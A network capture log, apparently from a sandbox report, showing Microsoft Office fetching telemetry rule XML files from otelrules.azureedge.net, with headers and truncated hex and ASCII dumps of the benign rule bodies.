2024-11-18 22:04:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:10 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 200f6d4e-701e-003e-2fb8-3779b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220410Z-16547b76f7fz92z5hC1DFWmdx800000004n000000000r499 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:10 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:10 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:10 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:10 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: a49129a8-d01e-008e-6b2a-36387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220410Z-16559997f8799x6whC1DFW9y9w00000000gg000000003tv6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:10 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:10 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:10 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:10 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 90f07e84-d01e-0028-2a09-377896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220410Z-16547b76f7fd77jrhC1DFWfwq0000000030g00000000s1ak x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:10 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:10 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:11 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: bb1a68b3-601e-0001-569b-38faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220411Z-1866b5c5fbbg9tvxhC1DFWy9mg000000029000000000a8wr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:11 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:11 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:11 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 28ec3a41-801e-00a0-70af-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220411Z-1866b5c5fbbr78bbhC1DFWqz2n00000006mg0000000042ts x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:11 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:11 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:11 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 03bc4034-001e-00a2-3978-36d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220411Z-164f84587bfn7ppchC1DFW45b400000000ug00000000c8qz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:11 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:11 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:11 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:11 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fa98855d-501e-0064-4540-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220411Z-16547b76f7f6nr89hC1DFWz7ug00000002m00000000116ry x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:11 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:11 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:11 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:11 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 598b0884-401e-005b-48af-369c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220411Z-16547b76f7fht2hfhC1DFWbngg00000006u000000000dav3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:11 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:11 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:12 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:11 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: dfb03e2b-001e-00ad-2bc4-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220411Z-16547b76f7f6892shC1DFWawd00000000380000000011mng x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:12 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:12 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:12 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:12 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 685cc001-201e-0085-3009-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220412Z-16547b76f7fd77jrhC1DFWfwq0000000033g00000000am6m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:12 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:12 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:12 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:12 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 67879f82-a01e-000d-0dd2-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220412Z-16547b76f7fqqjnnhC1DFWxv7400000004sg000000005emx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:12 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:12 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:12 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:12 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 0e6654d1-b01e-0097-46c4-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220412Z-16547b76f7fbkfmzhC1DFWm9tw000000062g0000000088ma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:12 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:12 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
